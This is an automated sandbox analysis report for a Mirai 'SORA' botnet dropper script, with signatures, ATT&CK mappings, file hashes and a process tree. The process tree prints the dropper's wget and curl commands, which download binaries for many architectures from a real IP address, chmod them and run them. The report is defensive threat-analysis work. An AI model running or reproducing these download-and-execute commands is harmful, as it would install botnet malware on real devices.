mirai | 6174f7d79e48448d38278254374a2d30a7c2880f7d055b8a8484c2fe00cb277d

Analysis

max time kernel
83s
max time network
152s
platform
debian-9_mips
resource
debian9-mipsbe-20250619-en
resource tags

arch:mipsimage:debian9-mipsbe-20250619-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
02/12/2025, 17:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
yarn.sh
Size 2KB
Sample251202-v1jxmaxper
SHA256 6174f7d79e48448d38278254374a2d30a7c2880f7d055b8a8484c2fe00cb277d
MD5 a0a281cf5e8d88c5b62943d0b80c51ef
SHA1 f0c39ecb90f915f32fb1aefba3d2895f474db536
SHA512 a49a5b9421312a3840f20f4dc33d224fa0052f66933263c976f0e1bf3f6c21864cb6e70e7fdea244bd1db462fc1673e39d4b637fa9c809cf485511d3296496e8
MD5 SHA1 SHA512

Score

10^/10

botnet sora defense_evasion discovery mirai upx

Malware Config

Extracted

Family

mirai

Botnet

SORA

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (45497) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
881	chmod
729	chmod
791	chmod
830	chmod
858	chmod
876	chmod
887	chmod
742	chmod
797	chmod
838	chmod
847	chmod
852	chmod
864	chmod
870	chmod

Executes dropped EXE 14 IoCs

ioc	pid	Process
/tmp/robben	730	yarn.sh
/tmp/robben	744	yarn.sh
/tmp/robben	792	yarn.sh
/tmp/robben	798	yarn.sh
/tmp/robben	831	yarn.sh
/tmp/robben	839	yarn.sh
/tmp/robben	848	yarn.sh
/tmp/robben	853	yarn.sh
/tmp/robben	859	yarn.sh
/tmp/robben	865	yarn.sh
/tmp/robben	871	yarn.sh
/tmp/robben	877	yarn.sh
/tmp/robben	882	yarn.sh
/tmp/robben	888	yarn.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	robben
File opened for modification	/dev/misc/watchdog	robben

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral3/files/fstream-1.dat	upx
behavioral3/files/fstream-4.dat	upx
behavioral3/files/fstream-5.dat	upx
behavioral3/files/fstream-7.dat	upx

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	hhg2pbink4a0in	744	robben

Reads runtime system information 35 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/668/exe	robben
File opened for reading	/proc/697/exe	robben
File opened for reading	/proc/698/exe	robben
File opened for reading	/proc/789/exe	robben
File opened for reading	/proc/748/exe	robben
File opened for reading	/proc/674/exe	robben
File opened for reading	/proc/699/exe	robben
File opened for reading	/proc/885/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/745/exe	robben
File opened for reading	/proc/701/exe	robben
File opened for reading	/proc/774/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/665/exe	robben
File opened for reading	/proc/675/exe	robben
File opened for reading	/proc/696/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/786/exe	robben
File opened for reading	/proc/874/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/647/exe	robben
File opened for reading	/proc/862/exe	robben
File opened for reading	/proc/778/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/691/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/879/exe	robben

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
732	wget
733	curl
740	cat

Writes file to tmp directory 26 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sora.m68k	curl
File opened for modification	/tmp/sora.arm5	wget
File opened for modification	/tmp/sora.x86	wget
File opened for modification	/tmp/sora.mips	curl
File opened for modification	/tmp/sora.x86_64	curl
File opened for modification	/tmp/sora.arm6	curl
File opened for modification	/tmp/sora.arm7	curl
File opened for modification	/tmp/sora.ppc440fp	curl
File opened for modification	/tmp/sora.sh4	curl
File opened for modification	/tmp/robben	yarn.sh
File opened for modification	/tmp/sora.mpsl	wget
File opened for modification	/tmp/sora.mpsl	curl
File opened for modification	/tmp/sora.arm6	wget
File opened for modification	/tmp/sora.arm7	wget
File opened for modification	/tmp/sora.ppc	curl
File opened for modification	/tmp/sora.m68k	wget
File opened for modification	/tmp/sora.x86	curl
File opened for modification	/tmp/sora.mips	wget
File opened for modification	/tmp/sora.x86_64	wget
File opened for modification	/tmp/sora.i686	wget
File opened for modification	/tmp/sora.arm4	curl
File opened for modification	/tmp/sora.arm5	curl
File opened for modification	/tmp/sora.ppc	wget
File opened for modification	/tmp/sora.sh4	wget
File opened for modification	/tmp/sora.i468	curl
File opened for modification	/tmp/sora.i686	curl

/tmp/yarn.sh
/tmp/yarn.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:699
- /usr/bin/wget
  wget http://158.94.210.88/bins/sora.x86
  2⤵
  - Writes file to tmp directory
  PID:702
- /usr/bin/curl
  curl -O http://158.94.210.88/bins/sora.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:726
- /bin/cat
  cat sora.x86
  2⤵
  PID:728
- /bin/chmod
  chmod +x robben sora.x86 systemd-private-3cae03fc47074c01b00e1956c1fde817-systemd-timedated.service-UcZ9Qf yarn.sh
  2⤵
  - File and Directory Permissions Modification
  PID:729
- /tmp/robben
  ./robben Payload
  2⤵
  PID:730
- /usr/bin/wget
  wget http://158.94.210.88/bins/sora.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:732
- /usr/bin/curl
  curl -O http://158.94.210.88/bins/sora.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:733
- /bin/cat
  cat sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:740
- /bin/chmod
  chmod +x robben sora.mips sora.x86 systemd-private-3cae03fc47074c01b00e1956c1fde817-systemd-timedated.service-UcZ9Qf yarn.sh
  2⤵
  - File and Directory Permissions Modification
  PID:742
- /tmp/robben
  ./robben Payload
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:744
- /usr/bin/wget
  wget http://158.94.210.88/bins/sora.x86_64
  2⤵
  - Writes file to tmp directory
  PID:751
- /usr/bin/curl
  curl -O http://158.94.210.88/bins/sora.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:789
- /bin/cat
  cat sora.x86_64
  2⤵
  PID:790
- /bin/chmod
  chmod +x robben sora.mips sora.x86 sora.x86_64 systemd-private-3cae03fc47074c01b00e1956c1fde817-systemd-timedated.service-UcZ9Qf yarn.sh
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/robben
  ./robben Payload
  2⤵
  PID:792
- /usr/bin/wget
  wget http://158.94.210.88/bins/sora.i468
  2⤵
  PID:794
- /usr/bin/curl
  curl -O http://158.94.210.88/bins/sora.i468
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:795
- /bin/cat
  cat sora.i468
  2⤵
  PID:796
- /bin/chmod
  chmod +x robben sora.i468 sora.mips sora.x86 sora.x86_64 systemd-private-3cae03fc47074c01b00e1956c1fde817-systemd-timedated.service-UcZ9Qf yarn.sh
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/robben
  ./robben Payload
  2⤵
  PID:798
- /usr/bin/wget
  wget http://158.94.210.88/bins/sora.i686
  2⤵
  - Writes file to tmp directory
  PID:799
- /usr/bin/curl
  curl -O http://158.94.210.88/bins/sora.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:813
- /bin/cat
  cat sora.i686
  2⤵
  PID:828
- /bin/chmod
  chmod +x robben sora.i468 sora.i686 sora.mips sora.x86 sora.x86_64 systemd-private-3cae03fc47074c01b00e1956c1fde817-systemd-timedated.service-UcZ9Qf yarn.sh
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/robben
  ./robben Payload
  2⤵
  PID:831
- /usr/bin/wget
  wget http://158.94.210.88/bins/sora.mpsl
  2⤵
  - Writes file to tmp directory
  PID:834
- /usr/bin/curl
  curl -O http://158.94.210.88/bins/sora.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:836
- /bin/cat
  cat sora.mpsl
  2⤵
  PID:837
- /bin/chmod
  chmod +x robben sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-3cae03fc47074c01b00e1956c1fde817-systemd-timedated.service-UcZ9Qf yarn.sh
  2⤵
  - File and Directory Permissions Modification
  PID:838
- /tmp/robben
  ./robben Payload
  2⤵
  PID:839
- /usr/bin/wget
  wget http://158.94.210.88/bins/sora.arm4
  2⤵
  PID:841
- /usr/bin/curl
  curl -O http://158.94.210.88/bins/sora.arm4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:845
- /bin/cat
  cat sora.arm4
  2⤵
  PID:846
- /bin/chmod
  chmod +x robben sora.arm4 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 yarn.sh
  2⤵
  - File and Directory Permissions Modification
  PID:847
- /tmp/robben
  ./robben Payload
  2⤵
  PID:848
- /usr/bin/wget
  wget http://158.94.210.88/bins/sora.arm5
  2⤵
  - Writes file to tmp directory
  PID:849
- /usr/bin/curl
  curl -O http://158.94.210.88/bins/sora.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:850
- /bin/cat
  cat sora.arm5
  2⤵
  PID:851
- /bin/chmod
  chmod +x robben sora.arm4 sora.arm5 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 yarn.sh
  2⤵
  - File and Directory Permissions Modification
  PID:852
- /tmp/robben
  ./robben Payload
  2⤵
  PID:853
- /usr/bin/wget
  wget http://158.94.210.88/bins/sora.arm6
  2⤵
  - Writes file to tmp directory
  PID:855
- /usr/bin/curl
  curl -O http://158.94.210.88/bins/sora.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:856
- /bin/cat
  cat sora.arm6
  2⤵
  PID:857
- /bin/chmod
  chmod +x robben sora.arm4 sora.arm5 sora.arm6 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 yarn.sh
  2⤵
  - File and Directory Permissions Modification
  PID:858
- /tmp/robben
  ./robben Payload
  2⤵
  PID:859
- /usr/bin/wget
  wget http://158.94.210.88/bins/sora.arm7
  2⤵
  - Writes file to tmp directory
  PID:861
- /usr/bin/curl
  curl -O http://158.94.210.88/bins/sora.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:862
- /bin/cat
  cat sora.arm7
  2⤵
  PID:863
- /bin/chmod
  chmod +x robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 yarn.sh
  2⤵
  - File and Directory Permissions Modification
  PID:864
- /tmp/robben
  ./robben Payload
  2⤵
  PID:865
- /usr/bin/wget
  wget http://158.94.210.88/bins/sora.ppc
  2⤵
  - Writes file to tmp directory
  PID:867
- /usr/bin/curl
  curl -O http://158.94.210.88/bins/sora.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:868
- /bin/cat
  cat sora.ppc
  2⤵
  PID:869
- /bin/chmod
  chmod +x robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.x86 sora.x86_64 yarn.sh
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/robben
  ./robben Payload
  2⤵
  PID:871
- /usr/bin/wget
  wget http://158.94.210.88/bins/sora.ppc440fp
  2⤵
  PID:873
- /usr/bin/curl
  curl -O http://158.94.210.88/bins/sora.ppc440fp
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:874
- /bin/cat
  cat sora.ppc440fp
  2⤵
  PID:875
- /bin/chmod
  chmod +x robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64 yarn.sh
  2⤵
  - File and Directory Permissions Modification
  PID:876
- /tmp/robben
  ./robben Payload
  2⤵
  PID:877
- /usr/bin/wget
  wget http://158.94.210.88/bins/sora.m68k
  2⤵
  - Writes file to tmp directory
  PID:878
- /usr/bin/curl
  curl -O http://158.94.210.88/bins/sora.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:879
- /bin/cat
  cat sora.m68k
  2⤵
  PID:880
- /bin/chmod
  chmod +x robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64 yarn.sh
  2⤵
  - File and Directory Permissions Modification
  PID:881
- /tmp/robben
  ./robben Payload
  2⤵
  PID:882
- /usr/bin/wget
  wget http://158.94.210.88/bins/sora.sh4
  2⤵
  - Writes file to tmp directory
  PID:884
- /usr/bin/curl
  curl -O http://158.94.210.88/bins/sora.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:885
- /bin/cat
  cat sora.sh4
  2⤵
  PID:886
- /bin/chmod
  chmod +x robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.sh4 sora.x86 sora.x86_64 yarn.sh
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /tmp/robben
  ./robben Payload
  2⤵
  PID:888

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

robben

Path /tmp/robben
Size 28KB
SHA256 60e61a7aa29aced28868a536711d6aac1676b44ce2cdc85ef08291bc3c4a7eeb
MD5 ce2db2cc30f45f4b142be747978f1185
SHA1 2d91823d1541273cf2c5d0359500beb14e6e6d94
SHA512 2bdcaf8aaabcba98c3fb0142c62d473fc3491c214af0856f90242ec410f580b3441e0fb205da3b949803b00a75f114ef17c39cb71ba4de6ef328aa52bb138247
SSDEEP 768:8xMWBhAHuLebpI7REg4q9Pp+yfIoNqWgJgGlzDpbuR1J0:8xdBGuLe9I+S9B+yfrgVJuq
MD5 SHA1 SHA512 SSDEEP

Submit Download

robben

Path /tmp/robben
Size 28KB
SHA256 7f321b8ad2f6f21ec7054d2a6474344b612aac1e879d71712387258ccfa88068
MD5 034d94122bf567502366f50e69135ef5
SHA1 586420296f897c38640391396a37137a9564b14e
SHA512 d422d2d0fdc62381a1169c227e239fff88a0335cbe3bc63133b18d04ae6a2935de6e4ec174589ad408a4e9feaabc608e633bd637bc96104a62cf42e14a24a320
SSDEEP 768:SYSoXdJZETc51aBfoBSd2qyVYOqkhCNzSx0st:SYJdJZiy1axd2qjDyAOtt
MD5 SHA1 SHA512 SSDEEP

Submit Download

robben

Path /tmp/robben
Size 212B
SHA256 3ffdc3e7f17876fa23ee6595712e544975dc985d313fe07fd103e6cd3606b435
MD5 83ab6cd9a67528bbc6f4f360cb7f8d83
SHA1 07e8f17209e0569aab39f062568ff0090d9b20d4
SHA512 171e8022f004540814acfc611cd0c46f708fdc6dd2590042981cb00f8136baa6521155549a77e98352901b0dfa5a8d284feb37a7babf9e2bf400a9acc3bb686f
MD5 SHA1 SHA512

Submit Download

robben

Path /tmp/robben
Size 28KB
SHA256 fa4c89942c65db8296433d9f918b76c9dc113b413780120f98f2a0d14b997ded
MD5 261467b032b545a619aceea41821cf5a
SHA1 006be18ac6838b7e8400d597e03dff319d9af8f5
SHA512 a816887f0c417496066de4c3f5281294e3d0cece8ce66ec1cb2cf7e5f33aa43a7c0fd70a7eb446e90dbe19f283857b0cf5df550fd87acb530ae1a4854dd67d41
SSDEEP 384:MPd/PxEDLd2TwMWzB6lowYcEIqs+9OC450LQixBfE4jdlz0lewZ90BKcXjhgNyk:klxKd29WcxEFs+V6IHE4RlY990DXvk
MD5 SHA1 SHA512 SSDEEP

Submit Download

robben

Path /tmp/robben
Size 64KB
SHA256 2bb1713a794d171f228ae7fa885065cdc9129b04b2547556991609c7536c144f
MD5 a18bee62d403d606a8ce4e9f9571fedf
SHA1 a3fc89b0362281e342da2ff795c4807638658c64
SHA512 2f8f21e90ab00413d2d6cec4bb6f64d38807c1292f8208178416c31388d9fbb56ec8f3ef4926bf2752d75de2c4149ee6c3cf48d35810565d8b83efddcdf9dad7
SSDEEP 1536:PaAtVnz1/mUUNztiYmW6IhiYLTofs3wfpWIDNEJ7JC7A:P/tVz1eUUfwN6T0f+whWONEJ7Jd
MD5 SHA1 SHA512 SSDEEP

Submit Download

sora.x86

Path /tmp/sora.x86
Size 27KB
SHA256 9ca144724088f9193fb72603552f9a54f402932a93216a7a0e1c316800f3bea0
MD5 bb07d68888ea0cc60955d55b7a6c8b5a
SHA1 ba9fe64fd38e0645760e6922a1f875e7ae545aec
SHA512 94a812d0b33493f327329aa14ba7bac2d3ecb45503ec80110041cf28965411ae85294da301641dea14497be0ceca77017fe16a14a3cd100b583f4fd37d3285e7
SSDEEP 384:MG1DMwk8JPyGnT8WyopNEotTneSe3oECHjYlQ2NnE4+0o8tm3HWBKENAZHYyVmNg:HMwxdyoEinDz+Y8tqHWXmb50NA
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads